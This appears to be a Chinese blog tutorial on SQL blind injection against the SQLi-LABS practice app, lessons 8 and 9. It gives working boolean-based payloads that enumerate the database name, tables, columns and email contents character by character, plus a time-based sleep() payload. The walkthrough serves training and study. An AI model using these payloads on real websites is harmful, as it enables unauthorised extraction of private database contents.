sql注入盲注

本文详细介绍了两种SQL盲注技术:布尔型盲注与时间盲注。通过具体实例,逐步展示了如何利用这两种方法来获取数据库信息,包括确定数据库名称、表名、字段名及字段内容等关键步骤。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

  • 1.布尔型盲注(以SQLi-LABS Page-1(Basic Challenges) less8 为例子)

在这里插入图片描述

  • 1.首先判断数据库有多少位

在这里插入图片描述

大于7是成立的
在这里插入图片描述

大于8是报错的
所以数据库是8位

?id=0%27%20or%20length(database())>8%20--+

然后再查数据库名字
在这里插入图片描述
经过不断的尝试发现115是没有报错的所以第一个字母就是115对应的ascii码就是s
在这里插入图片描述
在这里插入图片描述

一个字母一个字母的试下去发现得到的是security这个数据库

?id=0%27%20or%20ascii(substr((select%20database()),2,1))=101%23

然后就是查表

?id=0%27%20or%204%20=%20(SELECT%20count(TABLE_NAME)%20FROM%20INFORMATION_SCHEMA.TABLES%20where%20TABLE_SCHEMA%20=%20database())--+

等于4的时候有回显等于其他的没有回显所以有4个表
在这里插入图片描述

?id=0%27%20or%20ascii(substr((SELECT%20TABLE_NAME%20FROM%20INFORMATION_SCHEMA.tables%20where%20TABLE_SCHEMA%20=%27security%27%20limit%200,1),1,1))%20=101--+

在这里插入图片描述
同样的道理得到表emails

和上面一样找字段的长度发现2回显3不回显得到字段的长度是2
在这里插入图片描述

?id=0%27%20or%202=(SELECT%20count(column_name)%20FROM%20INFORMATION_SCHEMA.columns%20where%20TABLE_SCHEMA=database()%20and%20table_name=%27emails%27)--+

再找出字段的名字
在这里插入图片描述

?id=0%27%20or%20ascii(substr((SELECT%20column_name%20FROM%20INFORMATION_SCHEMA.columns%20where%20TABLE_SCHEMA%20=%27security%27%20and%20table_name%20=%20%27emails%27%20limit%200,1),1,1))>60--+

不断调试找出字段名id

再找字段的内容和之前一样一步一步的找
在这里插入图片描述

?id=0%27%20or%20ascii(substr((SELECT%20`email_id`%20from%20security.emails%20limit%202,1),1,1))>65--+


得到这些即可

  • 2 时间盲注(以SQLi-LABS Page-1(Basic Challenges) less9 为例子)

?id=0' or If(ascii(substr(database(),1,1))=115,sleep(5),0)--+

在这里插入图片描述
如果有时间延迟那就是对的如果错误就没有延迟
在这里插入图片描述

只需在前面加个if其他的语句和布尔型盲注类似(这里就不过多介绍)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值